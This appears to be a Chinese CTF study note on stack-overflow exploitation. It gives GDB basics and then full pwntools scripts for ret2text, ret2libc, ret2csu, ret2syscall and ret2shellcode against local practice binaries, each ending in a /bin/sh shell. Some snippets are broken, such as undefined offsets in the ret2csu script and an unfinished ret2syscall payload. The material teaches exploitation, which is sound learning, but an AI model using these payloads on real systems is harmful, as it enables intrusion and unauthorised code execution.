pwn_study_note

GDB 动调基础

  • RIP: 存放当前执行的指令地址
  • RSP : 栈顶指针
  • RBP: 栈底指针
  • RAX: 通用寄存器
  • zf: Zero Flag 寄存器
    INTEL 指令集
1
set disassembly-flavor intel

Assembly 一般指令

1
2
3
4
5
6
7
8
9
10
11
sub rsp, 0x18  ;rsp = [rsp-0x18]
mov rax, rbp ;rax = rbp
lea rax, [rbp-0x18] ;与上面的操作相同, lea可以当作运算指令, 运算结束后赋值给rax (优点:指令断,不用重新赋值rbp)
xor ebx, ebx ;ebx = 0 / mov ebx, 0
call xxxx ;调用一个子程序

cmp al, 0x61 ;一般下面会跟je/jne,cmp就相当于sub指令,al-0x61,但是结果不保存,与下面的jne/je进行比较
(ax,bx = 3, cmp ax,bx) 3-3=0 ,zf寄存器为1;相反的如果cmp两个数相减不等于0,那zf就等于0
jne xxxxx ;zf标志位不为0则跳转
jn xxxx ;zf标志位为0时跳转
test eax, eax ;当作cmp eax,0使用 eax&eax, 相与, 相等相当于and eax,eax 但是不存储

gdb 一般操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
run  直接运行程序 / start  开始调试程序 gdb会自动断到分析处的main函数处 (rip指向main)
disassembly $rip 在rip处反汇编
b 设置断点 , b *0x00005555555527a
d num 删除断点
disable b num 使断点失效
enable b num 重新启用断点
i b 查看设置的断点
i r 查看所有寄存器
c continue 执行到断点
ni 单步执行(步过)
si 单步步入
finish 步出
p $rbp print
x/10i $rip 以汇编的方式查看$rip内存地址开始的下10行
x/20b $rbp-0x10 ;b=byte
x/20gx $rbp
set *0x7fffffffd7c0=0x61 设置内存数据
set *((unsigned int)$ebp)=0x61

pwntools库 一般操作

1
2
本地建立socat
socat TCP-LISTEN:8877,fork exec:./question_1_plus_x64,reuseaddr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket
from pwn import *
import struct

def pwn():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   
    s.connect(("127.0.0.1", 8877))
    payload = b'P' * 8 + b'\x10' # ATTENTION BYTE
    s.sendall(payload + b'\n')

    conn = remote('127.0.0.1', 8877)
    conn.sock = s
    conn.interactive()

if __name__  == "__main__":
    pwn()

ret2X 例题

基本 ret2text x86

ret2text就是执行程序中已有的代码,例如程序中写有system等系统的调用函数, 通过溢出覆盖返回地址执行
IDA打开文件 ,找到函数内栈空间

1
2
3
4
5
6
7
8
9
-00000010 buf             dd ?
-0000000C var_C dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)

判断buf 到 r(栈底指针) 处偏移为0x14 = 20byte,r往下四字节就是给ret的栈空间,可以利用溢出来赋值r
覆盖 r 本身需要额外的 4 字节
20byte + 4byte = 24byte

1
payload = b'a' * 20 + b'&func'

pwntools 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(log_level='debug',arch='i386', os='linux')
# checksec FILENAME
pwnfile= './question_4_1_x86'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x14
# padding = padding2ebp + context.word_size//8
#通过调试得到

gdb.attach(io)
pause()
# ni finish finish 到调用的函数内, ni....ni

return_addr = 0x08049182
# sh_addr = 0x0804c03e
payload = flat([cyclic(padding), return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()
  • 先ni,然后在pwntool shell中回车代表开始
1
2
3
4
5
6
──────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────
► 0 0xe9b2c579 __kernel_vsyscall+9
1 0xe99ed9d7 read+55
2 0x80491f6 dofunc+69 <- 这是我们要到达的地方
3 0x8049182 func
4 0xa None
  • gdb中finish(可以看右下角的 BACKTRACE)到main中的被调用的那个函数
1
2
3
4
───────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────
► 0 0x80491f6 dofunc+69
1 0x8049182 func
2 0xa None
  • 然后可以用 stack 20 查看栈覆盖和溢出情况
1
2
3
4
5
6
06:0018│ ecx 0xfff272c8 ◂— 0x61616161 ('aaaa')
07:001c│-00c 0xfff272cc ◂— 0x61616162 ('baaa')
08:0020│-008 0xfff272d0 ◂— 0x61616163 ('caaa')
09:0024│-004 0xfff272d4 ◂— 0x61616164 ('daaa')
0a:0028│ ebp 0xfff272d8 ◂— 0x61616165 ('eaaa')
0b:002c│+004 0xfff272dc —▸ 0x8049182 (func) ◂— push ebp
  • 一直ni / c就可以拿到shell
esp寻址的 ret2text x86

和基本题型差不多,只是ret位置在IDA中显示错误而已
在输入函数前提前准备好cyclic

1
2
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
  • stack 30
    可以看到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00:0000│ esp 0xffffd160 ◂— 0
01:0004│-034 0xffffd164 —▸ 0xffffd178 ◂— 0x61616161 ('aaaa')
02:0008│-030 0xffffd168 ◂— 0x100
03:000c│-02c 0xffffd16c —▸ 0x80491b7 (dofunc+9) ◂— add ebx, 0x2e49
04:0010│-028 0xffffd170 ◂— 0xffffffff
05:0014│-024 0xffffd174 —▸ 0xf7d8396c ◂— 0x914
06:0018│ ecx 0xffffd178 ◂— 0x61616161 ('aaaa')
07:001c│-01c 0xffffd17c ◂— 0x61616162 ('baaa')
08:0020│-018 0xffffd180 ◂— 0x61616163 ('caaa')
09:0024│-014 0xffffd184 ◂— 0x61616164 ('daaa')
0a:0028│-010 0xffffd188 ◂— 0x61616165 ('eaaa')
0b:002c│-00c 0xffffd18c ◂— 0x61616166 ('faaa')
0c:0030│-008 0xffffd190 ◂— 0x61616167 ('gaaa')
0d:0034│-004 0xffffd194 ◂— 0x61616168 ('haaa')
0e:0038│ ebp 0xffffd198 ◂— 0x61616169 ('iaaa')
0f:003c│+004 0xffffd19c ◂— 0x6161616a ('jaaa')
10:0040│+008 0xffffd1a0 ◂— 0x6161616b ('kaaa')
11:0044│+00c 0xffffd1a4 ◂— 0x6161616c ('laaa')

可以看到ebp处为32byte,(其实是错误的,因为是esp寻址)

1
2
3
pwndbg> cyclic -l iaaa
Finding cyclic pattern of 4 bytes: b'iaaa' (hex: 0x69616161)
Found at offset 32

继续运行到ret:
可以看到esp处为 ‘faaa’, 断定栈空间到ret处为20byte, 后可溢出
20byte + 4byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ esp 0xffffd18c ◂— 0x61616166 ('faaa')
01:0004│-008 0xffffd190 ◂— 0x61616167 ('gaaa')
02:0008│-004 0xffffd194 ◂— 0x61616168 ('haaa')
03:000c│ ebp 0xffffd198 ◂— 0x61616169 ('iaaa')
04:0010│+004 0xffffd19c ◂— 0x6161616a ('jaaa')
05:0014│+008 0xffffd1a0 ◂— 0x6161616b ('kaaa')
06:0018│+00c 0xffffd1a4 ◂— 0x6161616c ('laaa')
07:001c│+010 0xffffd1a8 ◂— 0xff0a616d


pwndbg> cyclic -l faaa
Finding cyclic pattern of 4 bytes: b'faaa' (hex: 0x66616161)
Found at offset 20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(log_level='debug',arch='i386', os='linux')

pwnfile= './question_4_1_x86_sep'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x14
gdb.attach(io)
pause()

return_addr = 0x08049182
payload = flat([cyclic(padding), return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()

基本ret2text x64程序
1
2
3
4
5
6
7
8
❯ checksec question_4_1_x64
[*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/section_2/第二章课件/chapter_2/test_6/question_4_1_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

还是一样找溢出的地方

1
2
3
4
5
6
pwndbg> stack 30
00:0000│ rsp 0x7fffffffdfd0 ◂— 0
01:0008│ rsi 0x7fffffffdfd8 ◂— 0x6161616161616161 ('aaaaaaaa')
02:0010│ rbp 0x7fffffffdfe0 ◂— 0x6161616161616161 ('aaaaaaaa')
03:0018│+008 0x7fffffffdfe8 ◂— 0x6262626262626262 ('bbbbbbbb')
...

可以看到 03:0018│+008 0x7fffffffdfe8 ◂— 0x6262626262626262 ('bbbbbbbb') 就已经溢出了, (e8 - e0) 溢出

1
2
3
4
5
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
► 0 0x401193 dofunc+50
1 0x6262626262626262 None
2 0x7fffffffe00a None

修改脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(log_level='debug',arch='amd64', os='linux')

pwnfile= './question_4_1_x64'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x10
gdb.attach(io)
pause()

return_addr = 0x401142
payload = flat([cyclic(padding), return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ rsp 0x7fff11b9a6a0 ◂— 0
01:0008│ rsi 0x7fff11b9a6a8 ◂— 0x6161616261616161 ('aaaabaaa')
02:0010│ rbp 0x7fff11b9a6b0 ◂— 0x6161616461616163 ('caaadaaa')
03:0018│+008 0x7fff11b9a6b8 —▸ 0x401142 (func) ◂— push rbp
04:0020│+010 0x7fff11b9a6c0 —▸ 0x7fff11b9a70a ◂— 0
05:0028│+018 0x7fff11b9a6c8 —▸ 0x790f4362a1ca (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+020 0x7fff11b9a6d0 —▸ 0x7fff11b9a710 ◂— 0
07:0038│+028 0x7fff11b9a6d8 —▸ 0x7fff11b9a7e8 —▸ 0x7fff11b9c4eb ◂— './question_4_1_x64'
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
► 0 0x401193 dofunc+50
1 0x401142 func
2 0x7fff11b9a70a None

可以看到已经成功溢出了

ret2text 传参 x86
  • 需要了解一个知识,ret后跟的是要调用函数的地址(&func) , 随后+4栈内存跟的是被调用函数中(如果有)的参数
    我们需要构造成:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> stack 20
00:0000│ esp 0xffffcdb0 ◂— 0 ESP
01:0004│-024 0xffffcdb4 —▸ 0xffffcdc8 ◂— 'aaaabbbb\n'
02:0008│-020 0xffffcdb8 ◂— 0x100
03:000c│-01c 0xffffcdbc —▸ 0x80491b9 (dofunc+12) ◂— add ebx, 0x2e47
04:0010│-018 0xffffcdc0 ◂— 0xffffffff
05:0014│-014 0xffffcdc4 —▸ 0xf7d8396c ◂— 0x914
06:0018│ ecx 0xffffcdc8 ◂— 'aaaabbbb\n' aaaa
07:001c│-00c 0xffffcdcc ◂— 'bbbb\n' bbbb
08:0020│-008 0xffffcdd0 ◂— 0xa /* '\n' */
09:0024│-004 0xffffcdd4 —▸ 0xf7fa2e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
0a:0028│ ebp 0xffffcdd8 —▸ 0xffffcde8 ◂— 0
0b:002c│+004 0xffffcddc —▸ 0x8049214 (main+21) ◂— mov eax, 0 ret后的调用地址 (&func)
0c:0030│+008 0xffffcde0 ◂— 0 执行完func后的返回地址 (很重要!)
... ↓ 2 skipped (如果有,可能)被调用的参数 (search "/bin/sh")
(如果有,可能)被调用的第二个参数
......
1
2
3
4
5
6
7
07:001c│-00c 0xffffcdcc ◂— 'aaaa\n'                                                            
08:0020│-008 0xffffcdd0 ◂— 0xa /* '\n' */
09:0024│-004 0xffffcdd4 —▸ 0xf7fa2e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
0a:0028│ ebp 0xffffcdd8 —▸ 0xffffcde8 ◂— 0
0b:002c│+004 0xffffcddc —▸ 0x8049182 (func) ◂— push ebp (&func)
0c:0030│+008 0xffffcde0 ◂— 0xdeadbeef (随便一个return值)
0d:0034│+00c 0xffffcde4 —▸ 0x804c024 (sh) ◂— '/bin/sh' (search "/bin/sh" 的内存地址)

要用脚本完成就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level='debug',arch='i386', os='linux')

pwnfile= './question_4_2_x86_new'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x14 #20个'a'

gdb.attach(io)
pause()

return_addr = elf.symbols['func'] #取func的地址
bin_sh_addr = 0x804c018
payload = b'a' * padding + p32(return_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
# payload = flat([cyclic(padding),return_addr])
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()
ret2text 传参 x64

x86-64架构寄存器, 传参过程会调用 rdi, rsi, rdc, rcx, r8, r9.... 等寄存器,分别为第一个参数,第二个参数…..

1
2
3
4
RDI  0x404040 (sh) ◂— 0x68732f6e69622f /* '/bin/sh' */    (设置RDI寄存器为/bin/sh的内存地址)

► 0x401155 <func+19> call system@plt <system@plt>
command: 0x404040 (sh) ◂— 0x68732f6e69622f /* '/bin/sh' */ (可以看到已经成功传参了)

如果要用pwn脚本打,需要理解一些东西:
ROP (Return-Oriented Programming) :

  • 通过组合程序中已有的代码片段(gadgets)来构造恶意逻辑
  • 每个 gadget 通常以 ret 指令结尾,用于链接多个片段形成攻击链
1
ROPgadget --binary question_4_2_x64_new 

之前是通过dbg中的set命令设置的,但是在脚本中,我们要用ROP来构造,所以要改为:

1
2
3
4
1 栈溢出
2 pop rdi; ret (赋值/bin/sh 给 rdi寄存器)
3 bin_sh_addr
4 func_address (此时rdi已经被赋值为了/bin/sh的内存地址,直接调用func函数,rdi会被当作第一个参数传入func函数, getshell)

pop rdi; ret:

1
0x000000000040120b : pop rdi ; ret

编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './question_4_2_x64'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x10

gdb.attach(io)
pause()

return_addr = elf.symbols['func']
pop_rdi_ret = 0x40120b
bin_sh_addr = 0x404040

payload = b'a' * padding + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(return_addr)
delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.interactive()


ret2libc x64

在程序内没有system函数的时候 , 只能通过去libc共享库连接文件中去调用 ,怎么知道system的地址呢?
泄露程序中已经有调用的函数地址 , 通过 真实地址 = 基地址 + 偏移地址 的方式计算出system , binsh的地址 , 然后再去布置栈帧,控制执行流system(“/bin/sh”),这就是ret2libc

  • 整体思路
1
2
3
4
5
6
7
1.首先寻找一个函数的真实地址,以puts为例。构造合理的payload1,劫持程序的执行流程,使得程序执行puts(puts@got)打印得到puts函数的真实地址,并重新回到main函数开始的位置。
2.找到puts函数的真实地址后,根据其最后三位,可以判断出libc库的版本(本文忽略)。
3.根据libc库的版本可以很容易的确定puts函数的偏移地址。
4.计算基地址。基地址 = puts函数的真实地址 - puts函数的偏移地址。
5.根据libc函数的版本,很容易确定system函数和"/bin/sh"字符串在libc库中的偏移地址。
6.根据 真实地址 = 基地址 + 偏移地址 计算出system函数和"/bin/sh"字符串的真实地址。
7.再次构造合理的payload2,劫持程序的执行流程,劫持到system("/bin/sh")的真实地址,从而拿到shell。
  • 基地址 = 真实地址  -  偏移地址

  • 0x01 获取基地址, 并求出需要用的函数的地址

  • rdi , rsi , r15(没用的) 赋值并ret

  • p64(1) 为标准输出, rsi 传入 write@got(要泄漏的地址) , r15 用垃圾值 0xdeadbeef 填充

  • 再调用 p64(write_symbols) 输出, 即可获得实际地址:

  • 基地址 = 真实地址 - 偏移地址 = libc_base = write_addr - libc.sym["write"]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(log_level='debug',arch='amd64', os='linux')

pwnfile= './question_5_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # ldd FILENAME 来查看 (下面获取system..的偏移地址需要用到)

padding = 0x10
gdb.attach(io)
pause()

leak_write_got = 0x404018
# leak_write_got = elf.got["write"] 也是可以的, 目的是获取write@got
write_symbols = elf.symbols['write']

return_addr = elf.symbols['dofunc']
pop_rdi_ret = 0x4011fb
pop_rsi_r15_ret = 0x4011f9 #因为是write(x,x,x) 有三个参数 所以要传入 rdi rsi rdx
# 没有rdx的ROP那就用已经存在的

payload = b'a' * padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_write_got) + p64(0xdeadbeef)
payload += p64(write_symbols)
# rdi为第一个参数 传入1 标准输出 (0代表标准输入 2错误重定向)
# rsi为第二个参数 传入write@got
# r15没有实际用处,传入junk数据就好
# 最后调用write (write_symbols), 输出write在libc中的真实地址!

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil("byebye")
write_addr = u64(io.recv().ljust(8,b"\x00")) # 处理数据
print('write_addr:',hex(write_addr))

# 求基地址
libc_base = write_addr - libc.sym["write"] # 基地址 = 真实地址 - 偏移地址
print('libc_base:',hex(libc_base))

io.interactive()
  • 得出
1
2
3
4
write_addr: 0x70300a71c560
libc_base: 0x70300a600000
system: 0x70300a658750
bin_sh: 0x70300a7cb42f
  • 0x02 构造最终payload
    只需要在原来的基础上增加x64位传参的语句就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context(log_level='debug',arch='amd64', os='linux')

pwnfile= './question_5_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # ldd FILENAME 来查看 (下面获取system..的偏移地址需要用到)

padding = 0x10
leak_write_got = 0x404018
# leak_write_got = elf.got["write"] 也是可以的, 目的是获取write@got
write_symbols = elf.symbols['write']
return_addr = elf.symbols['dofunc']
pop_rdi_ret = 0x4011fb
pop_rsi_r15_ret = 0x4011f9 #因为是write(x,x,x) 有三个参数 所以要传入 rdi rsi rdx
# 没有rdx的ROP那就用已经存在的

payload = b'a' * padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_write_got) + p64(0xdeadbeef)
payload += p64(write_symbols)
# rdi为第一个参数 传入1 标准输出 (0代表标准输入 2错误重定向)
# rsi为第二个参数 传入write@got
# r15没有实际用处,传入junk数据就好
# 最后调用write (write_symbols), 输出write在libc中的真实地址!
payload += p64(return_addr)
# 重新回到dofunc 函数,为下面最终payload腾空间

delimiter = 'input:'
io.sendlineafter(delimiter, payload)

io.recvuntil("byebye")
write_addr = u64(io.recv(6).ljust(8,b"\x00")) # 处理数据
# io.recv(6) 代表只接受六位数据
print('write_addr:',hex(write_addr))

# 求基地址
libc_base = write_addr - libc.sym["write"]
print('libc_base:',hex(libc_base))

# binsh/system_addr
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

gdb.attach(io)
pause()
payload2 = b'a' * padding + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# 熟悉的x64传参方式,先传入binsh到rdi, 然后调用system

delimiter = 'input:'
io.sendlineafter(delimiter, payload2)
io.interactive()

栈情况 :

1
2
3
4
5
02:0010│ rsi 0x7ffd0c5d84b0 ◂— 0x6161616161616161 ('aaaaaaaa')
03:0018│ rbp 0x7ffd0c5d84b8 ◂— 0x6161616161616161 ('aaaaaaaa')
04:0020│+008 0x7ffd0c5d84c0 —▸ 0x4011fb (__libc_csu_init+91) ◂— pop rdi
05:0028│+010 0x7ffd0c5d84c8 —▸ 0x72d6259cb42f ◂— 0x68732f6e69622f /* '/bin/sh' */
06:0030│+018 0x7ffd0c5d84d0 —▸ 0x72d625858750 (system) ◂— endbr64
ret2libc x86

与 ret2libc x64大差不差,步骤还是那几个

  • IDA 或者 gdb 计算溢出大小
  • 溢出后调用程序内的 write, 传参 1 标准输出, write@got, 4字节长度(i386)
  • 通过真实地址和偏移地址计算出基地址
  • 通过基地址和 libc 中的偏移地址计算出实际地址
  • ret 回 main 函数,重新构造 payload:调用 system 函数,传参 /bin/sh
    需要注意的是传参方式 :
1
2
3
4
5
6
7
8
9
10
11
12
x64:
rdx overflow
func (通过寄存器传参: rsi rdi rdx rcx r8 r9 ...)
xxxxxxxxxxxx
_______________________________________________________________________________
x86:
rdx overflow
func
main_ret (or other junk strings)
argc1
argc2
argc3

构造 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(log_level='debug',arch='i386', os='linux') # checksec FILENAME

pwnfile= './question_5_x86'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF("/lib/i386-linux-gnu/libc.so.6") # 引入libc共享库文件

padding = 0x14
leak_write_got = elf.got['write'] # write@got
write_symbols = elf.symbols['write'] # main函数中的真实write地址
return_addr = elf.symbols['dofunc'] # dofunc_addr

payload = flat([b'a' * padding, write_symbols, return_addr, 1, leak_write_got, 4, return_addr])
# 溢出 -> 调用dofunc中的write(), dofunc_ret, argc1:1, argc2:write@got, argc3:4, 返回到dofunc

delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.recvuntil("byebye")
write_addr = u32(io.recv(4)) # 只需要最多读取四个字节
print('write_addr:',hex(write_addr))

# 求基地址
libc_base = write_addr - libc.sym["write"]
print('libc_base:',hex(libc_base))

# binsh/system_addr
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

gdb.attach(io)
pause()

payload2 = flat([b'a' * padding, system_addr, return_addr, binsh_addr])

delimiter = 'input:'
io.sendlineafter(delimiter, payload2)
io.recvuntil("byebye")

io.interactive()
ret2csu x64

通过修改控制 gadget 的段落来达到控制参数的目的 (输出地址)

  • __libc_csu_init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00000000004011D8 loc_4011D8:                             ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011D8 mov rdx, r14
.text:00000000004011DB mov rsi, r13
.text:00000000004011DE mov edi, r12d
.text:00000000004011E1 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:00000000004011E5 add rbx, 1
.text:00000000004011E9 cmp rbp, rbx
.text:00000000004011EC jnz short loc_4011D8
.text:00000000004011EE
.text:00000000004011EE loc_4011EE: ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011EE add rsp, 8
.text:00000000004011F2 pop rbx <-- !(从这里开始 因为上面的add 指令我们并不需要)!
.text:00000000004011F3 pop rbp
.text:00000000004011F4 pop r12
.text:00000000004011F6 pop r13
.text:00000000004011F8 pop r14
.text:00000000004011FA pop r15
.text:00000000004011FC retn

执行思路

1
2
3
4
5
1 溢出
2 从0x4011F2 开始,retn = 0x4011D8(上面的一段)
3 r12=argc1; r13=argc2; r14=argc3
4 jnz xxx , 只需要让rbx = 0; rbp = 1 即可
5 call xxxx [r15+rbx*8]: 只需要使 rbx = 0 ; r15 = 要跳转的地址就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './question_5_plus_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x10
leak_func_name ='write'
leak_func_got = elf.got[leak_func_name]
return_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']

pop_rbx_addr = 0x4011F2 # __libc_csu_init 的下面一段
rbx=0
rbp=1
r12=1
r13=leak_func_got # write(1,leak_func_got,6)
r14=6
r15 = elf.got['write']
mov_rdx_r14_addr = 0x4011D8 # __libc_csu_init 的上面一段

payload = b'a'* padding
payload += flat([pop_rbx_addr , rbx , rbp , r12 , r13 , r14 , r15 , mov_rdx_r14_addr])
payload += p64(0xdeadbeef)*7 + p64(return_addr)

delimiter = 'input:'
io.sendlineafter(delimiter, payload)
io.recvuntil('bye')
write_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('write_addr:',hex(write_addr))

libc_addr = write_addr - wirte_offset
print('libc_addr:',hex(libc_addr))

system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))

bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_addr:',hex(bin_sh_addr))



# payload2 = b'a'* padding + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
# delimiter = 'input:'
# io.sendlineafter(delimiter, payload2)
# pause()
io.interactive()
ret2syscall 0x32 / 0x64

基本rop之一,意为call system,控制程序执行系统调用,获取shell
利用的是 execve("/bin/sh",NULL,NULL)
向寄存器存放的参数分别为:

  • 系统调用号,即 eax 应该为 0xb ; 此为 execve 对应的系统调用号
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0
  • int 0x80(触发中断)
    0x32 位例题
    0x01: 先 ROPgadget
1
2
3
4
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop --string '/bin/sh'
ROPgadget --binary rop --only 'int' (int 0x80)

0x02 编写脚本:

1
2
3
padding = 0x10 
payload = b'a' * padding + p32(pop_eax_ret) + p32(0x0b) # 为 execve 对应的系统调用号, 固定为0x0b
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(0x0) + p32(bin_sh) + p32(int_0x80)

0x64 位例题
和32位大差不差,就是传参方面要用寄存器传参

1
2
payload = b'a' * padding + rdi_addr + bin_sh + eax_rdx_ebx_addr + p64(0x3b
payload += p64(0x0) + p64(0X0) + rsi_addr + p64(0x0) + syscall_addr #这里的eax其实就是rax
ret2shellcode

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int dofunc(){
char buf[0x100];
int pagesize = getpagesize();
long long int addr = buf2;
addr = (addr >>12)<<12;
mprotect(addr, pagesize, 7);
puts("input:");
read(0,buf,0x200);
strncpy(buf2, buf, 100);
printf("bye bye ~");
return 0;
}

int main(){
dofunc();
return 0;
}

攻击思路

  • buf 栈中填入 shellcode , \x00 补满到 padding 处
  • rbp: junk 数据 (其实 \x00 补满到 padding 处已经补满 rbp 了 (padding = padding2rbp + 8))
  • ret 到 buf2 , 执行 shellcode

计算溢出长度 (等待 read 后输入八字节长度 (x64) 后输入)

1
2
pwndbg> distance $rsp $rbp
0x7fffffffdb00->0x7fffffffdc10 is 0x110 bytes (0x22 words)

rsp 到 rbp 的长度为 0x110 , 还需要加 rbp 的八字节

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context(log_level='debug',arch='amd64',os='linux')
pwnfile = './question_6_3_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

buf2_ret = elf.symbols['buf2']
padding2rbp = 0x110
padding = padding2rbp + 8
payload = asm(shellcraft.sh()).ljust(padding, b'\x00') + p64(buf2_ret)

gdb.attach(io)
pause()

io.sendlineafter('input:', payload)
io.interactive()

.ljust(padding, b'\x00'): 用 \x00 填充至 padding 长度,确保覆盖到返回地址